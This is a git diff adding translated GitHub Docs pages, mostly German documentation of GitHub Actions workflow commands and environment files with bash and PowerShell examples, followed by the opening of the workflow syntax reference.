+echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
+```
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
+```
+
+{% endpowershell %}
+
+## Festlegen einer Fehlermeldung
+
+Erstellt eine Fehlermeldung und fügt die Mitteilung in das Protokoll ein. {% data reusables.actions.message-annotation-explanation %}
+
+```{:copy}
+::error file={name},line={line},endLine={endLine},title={title}::{message}
+```
+
+{% data reusables.actions.message-parameters %}
+
+### Beispiel: Festlegen einer Fehlermeldung
+
+{% bash %}
+
+```bash{:copy}
+echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
+```
+
+{% endpowershell %}
+
+## Gruppieren von Protokollzeilen
+
+Erstellt eine erweiterbare Gruppe im Protokoll. Verwende den Befehl `group`, um eine Gruppe zu erstellen und `title` festzulegen. Alles, was du im Protokoll zwischen den `group` Befehlen `endgroup` einfügst, wird in einem erweiterbaren Eintrag im Protokoll geschachtelt.
+
+```{:copy}
+::group::{title}
+::endgroup::
+```
+
+### Beispiel: Gruppieren von Protokollzeilen
+
+{% bash %}
+
+```yaml{:copy}
+jobs:
+  bash-example:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Group of log lines
+        run: |
+            echo "::group::My title"
+            echo "Inside group"
+            echo "::endgroup::"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml{:copy}
+jobs:
+  powershell-example:
+    runs-on: windows-latest
+    steps:
+      - name: Group of log lines
+        run: |
+            Write-Output "::group::My title"
+            Write-Output "Inside group"
+            Write-Output "::endgroup::"
+```
+
+{% endpowershell %}
+
+![Faltbare Gruppe im Workflowausführungsprotokoll](/assets/images/actions-log-group.png)
+
+## Maskieren eines Werts im Protokoll
+
+```{:copy}
+::add-mask::{value}
+```
+
+Das Maskieren eines Werts verhindert, dass ein String oder eine Variable im Protokoll ausgegeben werden. Jedes maskierte Wort, getrennt durch Leerzeichen, wird durch das Zeichen `*` ersetzt. Du kannst eine Umgebungsvariable oder Zeichenfolge für den Wert `value` der Maske verwenden. Wenn du einen Wert maskierst, wird er als geheim behandelt und auf dem Runner bearbeitet. Wenn du beispielsweise einen Wert maskierst, kannst du diesen Wert nicht als Ausgabe festlegen.
+
+### Beispiel: Maskieren einer Zeichenfolge
+
+Wenn du im Protokoll `"Mona The Octocat"` einfügst, wird `"***"` angezeigt.
+
+{% bash %}
+
+```bash{:copy}
+echo "::add-mask::Mona The Octocat"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+Write-Output "::add-mask::Mona The Octocat"
+```
+
+{% endpowershell %}
+
+{% warning %}
+
+**Warnung:** Stelle sicher, dass du das Geheimnis mit „add-mask“ registrierst, bevor es in den Buildprotokollen ausgegeben oder in anderen Workflowbefehlen verwendet wird.
+
+{% endwarning %}
+
+### Beispiel: Maskieren einer Umgebungsvariablen
+
+Wenn du die Variable `MY_NAME` oder den Wert `"Mona The Octocat"` im Protokoll einfügst, wird `"***"` anstelle von `"Mona The Octocat"` angezeigt.
+
+{% bash %}
+
+```yaml{:copy}
+jobs:
+  bash-example:
+    runs-on: ubuntu-latest
+    env:
+      MY_NAME: "Mona The Octocat"
+    steps:
+      - name: bash-version
+        run: echo "::add-mask::$MY_NAME"
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml{:copy}
+jobs:
+  powershell-example:
+    runs-on: windows-latest
+    env:
+      MY_NAME: "Mona The Octocat"
+    steps:
+      - name: powershell-version
+        run: Write-Output "::add-mask::$env:MY_NAME"
+```
+
+{% endpowershell %}
+
+## Beenden und Starten von Workflowbefehlen
+
+Beendet die Verarbeitung von Workflowbefehlen. Mit diesem speziellen Befehl kannst du alles protokollieren, ohne versehentlich einen Workflowbefehl auszuführen. Du kannst beispielsweise die Protokollierung anhalten, um ein vollständiges Skript mit Kommentaren auszugeben.
+
+```{:copy}
+::stop-commands::{endtoken}
+```
+
+Um die Verarbeitung von Workflowbefehlen zu beenden, übergib ein eindeutiges Token an `stop-commands`. Um die Verarbeitung von Workflowbefehlen fortzusetzen, übergib dasselbe Token, das du zum Beenden von Workflowbefehlen verwendet hast.
+
+{% warning %}
+
+**Warnung:** Stelle sicher, dass das verwendete Token zufällig generiert und für jede Ausführung eindeutig ist.
+
+{% endwarning %}
+
+```{:copy}
+::{endtoken}::
+```
+
+### Beispiel: Beenden und Starten von Workflowbefehlen
+
+{% bash %}
+
+{% raw %}
+
+```yaml{:copy}
+jobs:
+  workflow-command-job:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Disable workflow commands
+        run: |
+          echo '::warning:: This is a warning message, to demonstrate that commands are being processed.'
+          stopMarker=$(uuidgen)
+          echo "::stop-commands::$stopMarker"
+          echo '::warning:: This will NOT be rendered as a warning, because stop-commands has been invoked.'
+          echo "::$stopMarker::"
+          echo '::warning:: This is a warning again, because stop-commands has been turned off.'
+```
+{% endraw %}
+
+{% endbash %}
+
+{% powershell %}
+
+{% raw %}
+```yaml{:copy}
+jobs:
+  workflow-command-job:
+    runs-on: windows-latest
+    steps:
+      - name: Disable workflow commands
+        run: |
+          Write-Output '::warning:: This is a warning message, to demonstrate that commands are being processed.'
+          $stopMarker = New-Guid
+          Write-Output "::stop-commands::$stopMarker"
+          Write-Output '::warning:: This will NOT be rendered as a warning, because stop-commands has been invoked.'
+          Write-Output "::$stopMarker::"
+          Write-Output '::warning:: This is a warning again, because stop-commands has been turned off.'
+```
+
+{% endraw %}
+
+{% endpowershell %}
+
+{% ifversion actions-save-state-set-output-envs %}{% else %}
+## Echo von Befehlsausgaben
+
+Aktiviert oder deaktiviert das Echo von Workflowbefehlen. Wenn du beispielsweise den Befehl `set-output` in einem Workflow verwendest, wird ein Ausgabeparameter festgelegt, aber das Protokoll des Workflows zeigt den Befehl nicht selbst an. Wenn du das Echo von Befehlen aktivierst, zeigt das Protokoll den Befehl an, z. B. `::set-output name={name}::{value}`.
+
+```{:copy}
+::echo::on
+::echo::off
+```
+
+Das Echo von Befehlen ist standardmäßig deaktiviert. Wenn Fehler beim Verarbeiten eines Workflowbefehls auftreten, wird dieser als Echo zurückgegeben.
+
+Die Befehle `add-mask`, `debug`, `warning` und `error` unterstützen das Echo nicht, da ihre Ausgaben bereits im Protokoll enthalten sind.
+
+Du kannst das Echo von Befehlen auch global aktivieren, indem du die schrittweise Debugprotokollierung mithilfe des geheimen Schlüssels `ACTIONS_STEP_DEBUG` aktivierst. Weitere Informationen findest du unter [Aktivieren der Debugprotokollierung](/actions/managing-workflow-runs/enabling-debug-logging). Im Gegensatz dazu kannst du das Echo von Befehlen mit dem Workflowbefehl `echo` auf einer detaillierteren Ebene aktivieren, anstatt es für jeden Workflow in einem Repository zu aktivieren.
+
+### Beispiel: Umschalten des Echos von Befehlen
+
+{% bash %}
+
+```yaml{:copy}
+jobs:
+  workflow-command-job:
+    runs-on: ubuntu-latest
+    steps:
+      - name: toggle workflow command echoing
+        run: |
+          echo '::set-output name=action_echo::disabled'
+          echo '::echo::on'
+          echo '::set-output name=action_echo::enabled'
+          echo '::echo::off'
+          echo '::set-output name=action_echo::disabled'
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml{:copy}
+jobs:
+  workflow-command-job:
+    runs-on: windows-latest
+    steps:
+      - name: toggle workflow command echoing
+        run: |
+          write-output "::set-output name=action_echo::disabled"
+          write-output "::echo::on"
+          write-output "::set-output name=action_echo::enabled"
+          write-output "::echo::off"
+          write-output "::set-output name=action_echo::disabled"
+```
+
+{% endpowershell %}
+
+Im obigen Beispiel werden die folgenden Zeilen im Protokoll ausgegeben:
+
+```{:copy}
+::set-output name=action_echo::enabled
+::echo::off
+```
+
+Nur die zweiten Workflowbefehle `set-output` und `echo` sind im Protokoll enthalten, da das Befehlsecho nur für deren Ausführung aktiviert war. Auch wenn nicht immer ein Echo erzeugt wird, wird der Ausgabeparameter in jedem Fall festgelegt.
+ 
+{% endif %}
+
+## Werte an die „Pre-“ (Vor-) und „Post-“ (Nach-)Aktionen senden
+
+{% ifversion actions-save-state-set-output-envs %}Du kannst Umgebungsvariablen für die gemeinsame Nutzung mit den Aktionen `pre:` oder `post:` deines Workflows erstellen, indem du in die Datei unter `GITHUB_STATE` schreibst{% else %}Du kannst den Befehl `save-state` verwenden, um Umgebungsvariablen für die gemeinsame Nutzung mit den Aktionen `pre:` oder `post:` deines Workflows zu erstellen{% endif %}. Du kannst beispielsweise eine Datei mit der Aktion `pre:` erstellen, den Dateispeicherort an die Aktion `main:` übergeben und dann die Aktion `post:` verwenden, um die Datei zu löschen. Alternativ kannst du eine Datei mit der Aktion `main:` erstellen, den Dateispeicherort an die Aktion `post:` übergeben und auch die Aktion `post:` verwenden, um die Datei zu löschen.
+
+Wenn mehrere Aktionen `pre:` oder `post:` vorhanden sind, kannst du nur auf den gespeicherten Wert in der Aktion zugreifen, in der {% ifversion actions-save-state-set-output-envs %}der Wert in `GITHUB_STATE` geschrieben wurde{% else %}`save-state` verwendet wurde{% endif %}. Weitere Informationen zur Aktion `post:` findest du unter [Metadatensyntax für {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runspost).
+
+{% ifversion actions-save-state-set-output-envs %}Die Datei `GITHUB_STATE` ist nur innerhalb einer Aktion verfügbar{% else %}Der Befehl `save-state` kann nur innerhalb einer Aktion ausgeführt werden und ist nicht für YAML-Dateien verfügbar{% endif %}. Der gespeicherte Wert wird als Umgebungswert mit dem Präfix `STATE_` gespeichert.
+
+{% ifversion actions-save-state-set-output-envs %} In diesem Beispiel wird JavaScript verwendet, um in die Datei `GITHUB_STATE` zu schreiben. Die resultierende Umgebungsvariable wird `STATE_processID` genannt und hat den Wert `12345`:
+
+```javascript{:copy}
+import * as fs from 'fs'
+import * as os from 'os'
+
+fs.appendFileSync(process.env.GITHUB_STATE, `processID=12345${os.EOL}`, {
+  encoding: 'utf8'
+})
+```
+
+{% else %} In diesem Beispiel wird JavaScript zum Ausführen des Befehls `save-state` verwendet. Die resultierende Umgebungsvariable wird `STATE_processID` genannt und hat den Wert `12345`:
+
+```javascript{:copy}
+console.log('::save-state name=processID::12345')
+```
+{% endif %}
+
+Die Variable `STATE_processID` ist dann ausschließlich für das unter der Aktion `main` ausgeführte Bereinigungsskript verfügbar. Dieses Beispiel läuft in `main` und verwendet JavaScript, um den Wert anzuzeigen, der der Umgebungsvariable `STATE_processID` zugewiesen wurde:
+
+```javascript{:copy}
+console.log("The running PID from the main action is: " +  process.env.STATE_processID);
+```
+
+## Umgebungsdateien
+
+Während der Ausführung eines Workflows generiert der Runner temporäre Dateien, die zum Ausführen bestimmter Aktionen verwendet werden können. Der Pfad zu diesen Dateien wird über Umgebungsvariablen verfügbar gemacht. Du musst UTF-8-Codierung verwenden, wenn du in diese Dateien schreibst, um die ordnungsgemäße Verarbeitung der Befehle sicherzustellen. Mehrere Befehle können in dieselbe Datei geschrieben werden, getrennt durch Zeilenvorschubzeichen.
+
+Die meisten Befehle in den folgenden Beispielen verwenden doppelte Anführungszeichen zum Wiedergeben von Zeichenfolgen, die versuchen, Zeichen wie `$` für Shellvariablennamen zu interpolieren. Um literale Werte in Zeichenfolgen in Anführungszeichen immer zu verwenden, kannst du stattdessen einzelne Anführungszeichen verwenden.
+
+{% powershell %}
+
+{% note %}
+
+**Hinweis:** PowerShell-Versionen 5.1 und niedriger (`shell: powershell`) verwenden standardmäßig kein UTF-8, sodass du die UTF-8-Codierung angeben musst. Beispiel:
+
+```yaml{:copy}
+jobs:
+  legacy-powershell-example:
+    runs-on: windows-latest
+    steps:
+      - shell: powershell
+        run: |
+          "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+```
+
+PowerShell Core-Versionen 6 und höher (`shell: pwsh`) verwenden standardmäßig UTF-8. Beispiel:
+
+```yaml{:copy}
+jobs:
+  powershell-core-example:
+    runs-on: windows-latest
+    steps:
+      - shell: pwsh
+        run: |
+          "mypath" >> $env:GITHUB_PATH
+```
+
+{% endnote %}
+
+{% endpowershell %}
+
+## Festlegen einer Umgebungsvariablen
+
+{% bash %}
+
+```bash{:copy}
+echo "{environment_variable_name}={value}" >> $GITHUB_ENV
+```
+
+{% endbash %}
+
+{% powershell %}
+
+- Bei Verwendung von PowerShell-Version 6 und höher:
+
+  ```pwsh{:copy}
+  "{environment_variable_name}={value}" >> $env:GITHUB_ENV
+  ```
+
+- Bei Verwendung von PowerShell-Version 5.1 und niedriger:
+
+  ```powershell{:copy}
+  "{environment_variable_name}={value}" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append
+  ```
+
+{% endpowershell %}
+
+Du kannst eine Umgebungsvariable für alle nachfolgenden Schritte in einem Workflowauftrag verfügbar machen, indem du die Umgebungsvariable definierst oder aktualisierst und diese in die Umgebungsdatei `GITHUB_ENV` schreibst. Der Schritt, der die Umgebungsvariable erstellt oder aktualisiert, hat keinen Zugriff auf den neuen Wert, aber alle nachfolgenden Schritte in einem Auftrag haben Zugriff. Bei Namen von Umgebungsvariablen wird die Groß- und Kleinschreibung berücksichtigt. Du kannst darin auch Satzzeichen verwenden. Weitere Informationen findest du unter [Umgebungsvariablen](/actions/learn-github-actions/environment-variables).
+
+### Beispiel
+
+{% bash %}
+
+{% raw %}
+```yaml{:copy}
+steps:
+  - name: Set the value
+    id: step_one
+    run: |
+      echo "action_state=yellow" >> $GITHUB_ENV
+  - name: Use the value
+    id: step_two
+    run: |
+      echo "${{ env.action_state }}" # This will output 'yellow'
+```
+{% endraw %}
+
+{% endbash %}
+
+{% powershell %}
+
+{% raw %}
+```yaml{:copy}
+steps:
+  - name: Set the value
+    id: step_one
+    run: |
+      "action_state=yellow" >> $env:GITHUB_ENV
+  - name: Use the value
+    id: step_two
+    run: |
+      Write-Output "${{ env.action_state }}" # This will output 'yellow'
+```
+{% endraw %}
+
+{% endpowershell %}
+
+### Mehrzeilige Zeichenfolgen
+
+Bei mehrzeiligen Zeichenfolgen kannst du ein Trennzeichen mit der folgenden Syntax verwenden.
+
+```{:copy}
+{name}<<{delimiter}
+{value}
+{delimiter}
+```
+
+{% warning %}
+
+**Warnung:** Stelle sicher, dass das verwendete Trennzeichen zufällig generiert und für jede Ausführung eindeutig ist. Weitere Informationen findest du unter [Grundlegendes zum Risiko von Skripteinschleusungen](/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).
+
+{% endwarning %}
+
+#### Beispiel
+
+In diesem Beispiel wird `EOF` als Trennzeichen verwendet und die Umgebungsvariable `JSON_RESPONSE` auf den Wert der Antwort `curl` festgelegt.
+
+{% bash %}
+
+```yaml{:copy}
+steps:
+  - name: Set the value in bash
+    id: step_one
+    run: |
+      echo 'JSON_RESPONSE<<EOF' >> $GITHUB_ENV
+      curl https://example.com >> $GITHUB_ENV
+      echo 'EOF' >> $GITHUB_ENV
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml{:copy}
+steps:
+  - name: Set the value in pwsh
+    id: step_one
+    run: |
+      "JSON_RESPONSE<<EOF" >> $env:GITHUB_ENV
+      (Invoke-WebRequest -Uri "https://example.com").Content >> $env:GITHUB_ENV
+      "EOF" >> $env:GITHUB_ENV
+    shell: pwsh
+```
+
+{% endpowershell %}
+
+{% ifversion actions-save-state-set-output-envs %}
+## Festlegen eines Ausgabeparameters
+
+Legt den Ausgabeparameter eines Schritts fest. Beachte, dass für den Schritt eine `id` definiert werden muss, um später den Ausgabewert abzurufen.
+
+{% bash %}
+
+```bash{:copy}
+echo "{name}={value}" >> $GITHUB_OUTPUT
+```
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+"{name}=value" >> $env:GITHUB_OUTPUT
+```
+
+{% endpowershell %}
+
+### Beispiel
+
+{% bash %}
+
+Dieses Beispiel zeigt, wie man den Ausgabeparameter `SELECTED_COLOR` festlegt und ihn später abruft:
+
+{% raw %}
+```yaml{:copy}
+      - name: Set color
+        id: random-color-generator
+        run: echo "SELECTED_COLOR=green" >> $GITHUB_OUTPUT
+      - name: Get color
+        run: echo "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}"
+```
+{% endraw %}
+
+{% endbash %}
+
+{% powershell %}
+
+{% raw %} Dieses Beispiel zeigt, wie man den Ausgabeparameter `SELECTED_COLOR` festlegt und ihn später abruft:
+
+```yaml{:copy}
+      - name: Set color
+        id: random-color-generator
+        run: |
+            "SELECTED_COLOR=green" >> $env:GITHUB_OUTPUT
+      - name: Get color
+        run: Write-Output "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}"
+```
+{% endraw %}
+
+{% endpowershell %} {% endif %}
+
+{% ifversion actions-job-summaries %}
+
+## Hinzufügen einer Auftragszusammenfassung
+
+{% bash %}
+
+```bash{:copy}
+echo "{markdown content}" >> $GITHUB_STEP_SUMMARY
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+"{markdown content}" >> $env:GITHUB_STEP_SUMMARY
+```
+
+{% endpowershell %}
+
+Du kannst ein benutzerdefiniertes Markdown für die einzelnen Aufträge festlegen, sodass sie auf der Zusammenfassungsseite einer Workflowausführung angezeigt werden. Du kannst Auftragszusammenfassungen verwenden, um eindeutige Inhalte (z. B. Zusammenfassungen von Testergebnissen) anzuzeigen und zu gruppieren, damit Personen, die das Ergebnis einer Workflowausführung anzeigen, nicht in die Protokolle wechseln müssen, um wichtige ausführungsbezogene Informationen (z. B. Fehler) anzuzeigen.
+
+Auftragszusammenfassungen unterstützen [{% data variables.product.prodname_dotcom %}-Markdown](https://github.github.com/gfm/), und du kannst der `GITHUB_STEP_SUMMARY`-Umgebungsdatei eigenen Markdowninhalt für einen Schritt hinzufügen. `GITHUB_STEP_SUMMARY` ist für jeden Schritt in einem Auftrag eindeutig. Weitere Informationen zu der Pro-Schritt-Datei, auf die `GITHUB_STEP_SUMMARY` verweist, findest du unter „[Umgebungsdateien](#environment-files)“.
+
+Bei Abschluss eines Auftrags werden die Zusammenfassungen für alle Schritte in einem Auftrag in einer einzelnen Auftragszusammenfassung gruppiert und auf der Zusammenfassungsseite der Workflowausführung angezeigt. Wenn für mehrere Aufträge Zusammenfassungen generiert werden, werden diese nach Auftragsabschlusszeit sortiert.
+
+### Beispiel
+
+{% bash %}
+
+```bash{:copy}
+echo "### Hello world! :rocket:" >> $GITHUB_STEP_SUMMARY
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+"### Hello world! :rocket:" >> $env:GITHUB_STEP_SUMMARY
+```
+
+{% endpowershell %}
+
+![Beispiel für eine Markdownzusammenfassung](/assets/images/actions-job-summary-simple-example.png)
+
+### Mehrzeiliger Markdowninhalt
+
+Für mehrzeiligen Markdowninhalt kannst du mit `>>` kontinuierlich Inhalte für den aktuellen Schritt anfügen. Bei jedem Anfügevorgang wird automatisch ein Zeilenvorschubzeichen hinzugefügt.
+
+#### Beispiel
+
+{% bash %}
+
+```yaml
+- name: Generate list using Markdown
+  run: |
+    echo "This is the lead in sentence for the list" >> $GITHUB_STEP_SUMMARY
+    echo "" >> $GITHUB_STEP_SUMMARY # this is a blank line
+    echo "- Lets add a bullet point" >> $GITHUB_STEP_SUMMARY
+    echo "- Lets add a second bullet point" >> $GITHUB_STEP_SUMMARY
+    echo "- How about a third one?" >> $GITHUB_STEP_SUMMARY
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml
+- name: Generate list using Markdown
+  run: |
+    "This is the lead in sentence for the list" >> $env:GITHUB_STEP_SUMMARY
+    "" >> $env:GITHUB_STEP_SUMMARY # this is a blank line
+    "- Lets add a bullet point" >> $env:GITHUB_STEP_SUMMARY
+    "- Lets add a second bullet point" >> $env:GITHUB_STEP_SUMMARY
+    "- How about a third one?" >> $env:GITHUB_STEP_SUMMARY
+```
+
+{% endpowershell %}
+
+### Überschreiben von Auftragszusammenfassungen
+
+Zum Löschen aller Inhalte für den aktuellen Schritt kannst du mit `>` alle zuvor hinzugefügten Inhalte überschreiben.
+
+#### Beispiel
+
+{% bash %}
+
+```yaml
+- name: Overwrite Markdown
+  run: |
+    echo "Adding some Markdown content" >> $GITHUB_STEP_SUMMARY
+    echo "There was an error, we need to clear the previous Markdown with some new content." > $GITHUB_STEP_SUMMARY
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml
+- name: Overwrite Markdown
+  run: |
+    "Adding some Markdown content" >> $env:GITHUB_STEP_SUMMARY
+    "There was an error, we need to clear the previous Markdown with some new content." > $env:GITHUB_STEP_SUMMARY
+```
+
+{% endpowershell %}
+
+### Entfernen von Auftragszusammenfassungen
+
+Zum vollständigen Entfernen einer Zusammenfassung für den aktuellen Schritt kannst du die Datei löschen, auf die `GITHUB_STEP_SUMMARY` verweist.
+
+#### Beispiel
+
+{% bash %}
+
+```yaml
+- name: Delete all summary content
+  run: |
+    echo "Adding Markdown content that we want to remove before the step ends" >> $GITHUB_STEP_SUMMARY
+    rm $GITHUB_STEP_SUMMARY
+```
+
+{% endbash %}
+
+{% powershell %}
+
+```yaml
+- name: Delete all summary content
+  run: |
+    "Adding Markdown content that we want to remove before the step ends" >> $env:GITHUB_STEP_SUMMARY
+    rm $env:GITHUB_STEP_SUMMARY
+```
+
+{% endpowershell %}
+
+Nachdem ein Schritt abgeschlossen wurde, werden Auftragszusammenfassungen hochgeladen, und zuvor hochgeladene Markdowninhalte können durch nachfolgende Schritte nicht geändert werden. Alle Geheimnisse, die versehentlich hinzugefügt wurden, werden von Zusammenfassungen automatisch maskiert. Wenn eine Auftragszusammenfassung vertrauliche Informationen enthält, die gelöscht werden müssen, kannst du die gesamte Workflowausführung löschen, um alle zugehörigen Auftragszusammenfassungen zu entfernen. Weitere Informationen findest du unter „[Löschen einer Workflowausführung](/actions/managing-workflow-runs/deleting-a-workflow-run)“.
+
+### Schrittisolierung und Grenzwerte
+
+Auftragszusammenfassungen werden zwischen Schritten isoliert und jeder Schritt ist auf eine maximale Größe von 1 MiB beschränkt. Die Isolation wird zwischen Schritten erzwungen, damit das Markdownrendering für nachfolgende Schritte nicht durch potenziell fehlerhaftes Markdown unterbrochen werden kann. Wenn für einen Schritt Inhalte von mehr als 1 MiB hinzugefügt werden, schlägt der Upload für den Schritt fehl, und es wird eine Fehleranmerkung erstellt. Uploadfehler bei Auftragszusammenfassungen wirken sich nicht auf den Gesamtstatus eines Schritts oder Auftrags aus. Pro Auftrag werden maximal 20 Auftragszusammenfassungen aus Schritten angezeigt.
+
+{% endif %}
+
+## Hinzufügen eines Systempfads
+
+Stellt ein Verzeichnis der Systemvariable `PATH` vor und stellt es automatisch für alle nachfolgenden Aktionen im aktuellen Auftrag zur Verfügung. Die aktuell ausgeführte Aktion kann nicht auf die aktualisierte Pfadvariable zugreifen. Um die aktuell definierten Pfade für deinen Auftrag anzuzeigen, kannst du in einem Schritt oder einer Aktion `echo "$PATH"` verwenden.
+
+{% bash %}
+
+```bash{:copy}
+echo "{path}" >> $GITHUB_PATH
+```
+{% endbash %}
+
+{% powershell %}
+
+```pwsh{:copy}
+"{path}" >> $env:GITHUB_PATH
+```
+
+{% endpowershell %}
+
+### Beispiel
+
+{% bash %}
+
+In diesem Beispiel wird veranschaulicht, wie du das Benutzerverzeichnis `$HOME/.local/bin` zu `PATH` hinzufügst:
+
+```bash{:copy}
+echo "$HOME/.local/bin" >> $GITHUB_PATH
+```
+
+{% endbash %}
+
+{% powershell %}
+
+In diesem Beispiel wird veranschaulicht, wie du das Benutzerverzeichnis `$env:HOMEPATH/.local/bin` zu `PATH` hinzufügst:
+
+```pwsh{:copy}
+"$env:HOMEPATH/.local/bin" >> $env:GITHUB_PATH
+```
+
+{% endpowershell %}
diff --git a/translations/de-DE/content/actions/using-workflows/workflow-syntax-for-github-actions.md b/translations/de-DE/content/actions/using-workflows/workflow-syntax-for-github-actions.md
new file mode 100644
index 0000000000..4969f6b53e
--- /dev/null
+++ b/translations/de-DE/content/actions/using-workflows/workflow-syntax-for-github-actions.md
@@ -0,0 +1,1110 @@
+---
+title: Workflow syntax for GitHub Actions
+shortTitle: Workflow syntax
+intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration.
+redirect_from:
+  - /articles/workflow-syntax-for-github-actions
+  - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions
+  - /actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions
+  - /actions/reference/workflow-syntax-for-github-actions
+  - /actions/learn-github-actions/workflow-syntax-for-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 4
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About YAML syntax for workflows
+
+Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %}
+
+You must store workflow files in the `.github/workflows` directory of your repository.
+
+## `name`
+
+The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's "Actions" tab. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository.
+
+{% ifversion actions-run-name %}
+## `run-name`
+
+The name for workflow runs generated from the workflow. {% data variables.product.prodname_dotcom %} displays the workflow run name in the list of workflow runs on your repository's "Actions" tab. If `run-name` is omitted or is only whitespace, then the run name is set to event-specific information for the workflow run. For example, for a workflow triggered by a `push` or `pull_request` event, it is set as the commit message.
+
+This value can include expressions and can reference the [`github`](/actions/learn-github-actions/contexts#github-context) and [`inputs`](/actions/learn-github-actions/contexts#inputs-context) contexts.
+
+### Example
+
+{% raw %}
+```yaml
+run-name: Deploy to ${{ inputs.deploy_target }} by @${{ github.actor }}
+```
+{% endraw %}
+{% endif %}
+
+## `on`
+
+{% data reusables.actions.workflows.section-triggering-a-workflow %}
+
+### `on.<event_name>.types`
+
+{% data reusables.actions.workflows.section-triggering-a-workflow-types %}
+
+### `on.<pull_request|pull_request_target>.<branches|branches-ignore>`
+
+{% data reusables.actions.workflows.section-triggering-a-workflow-branches %}
+
+### `on.push.<branches|tags|branches-ignore|tags-ignore>`
+
+{% data reusables.actions.workflows.section-run-on-specific-branches-or-tags %}
+
+### `on.<push|pull_request|pull_request_target>.<paths|paths-ignore>`
+
+{% data reusables.actions.workflows.section-triggering-a-workflow-paths %}
+
+### `on.schedule`
+
+{% data reusables.actions.workflows.section-triggering-a-workflow-schedule %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+## `on.workflow_call`
+
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+
+Use `on.workflow_call` to define the inputs and outputs for a reusable workflow. You can also map the secrets that are available to the called workflow. For more information on reusable workflows, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)."
+
+### `on.workflow_call.inputs`
+
+When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)."
+
+In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype).
+
+If a `default` parameter is not set, the default value of the input is `false` for a boolean, `0` for a number, and `""` for a string.
+
+Within the called workflow, you can use the `inputs` context to refer to an input.
+
+If a caller workflow passes an input that is not specified in the called workflow, this results in an error.
+
+#### Example
+
+{% raw %}
+```yaml
+on:
+  workflow_call:
+    inputs:
+      username:
+        description: 'A username passed from the caller workflow'
+        default: 'john-doe'
+        required: false
+        type: string
+
+jobs:
+  print-username:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Print the input name to STDOUT
+        run: echo The username is ${{ inputs.username }}
+```
+{% endraw %}
+
+For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+
+#### `on.workflow_call.inputs.<input_id>.type`
+
+Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`.
+
+### `on.workflow_call.outputs`
+
+A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow.
+
+In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`.
+
+#### Example
+
+{% raw %}
+```yaml
+on:
+  workflow_call:
+    # Map the workflow outputs to job outputs
+    outputs:
+      workflow_output1:
+        description: "The first job output"
+        value: ${{ jobs.my_job.outputs.job_output1 }}
+      workflow_output2:
+        description: "The second job output"
+        value: ${{ jobs.my_job.outputs.job_output2 }}
+```
+{% endraw %}
+
+For information on how to reference a job output, see [`jobs.<job_id>.outputs`](#jobsjob_idoutputs). For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+
+### `on.workflow_call.secrets`
+
+A map of the secrets that can be used in the called workflow.
+
+Within the called workflow, you can use the `secrets` context to refer to a secret.
+
+If a caller workflow passes a secret that is not specified in the called workflow, this results in an error.
+
+#### Example
+
+{% raw %}
+```yaml
+on:
+  workflow_call:
+    secrets:
+      access-token:
+        description: 'A token passed from the caller workflow'
+        required: false
+
+jobs:
+  pass-secret-to-action:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Pass the received secret to an action
+        uses: ./.github/actions/my-action
+        with:
+          token: ${{ secrets.access-token }}
+```
+{% endraw %}
+
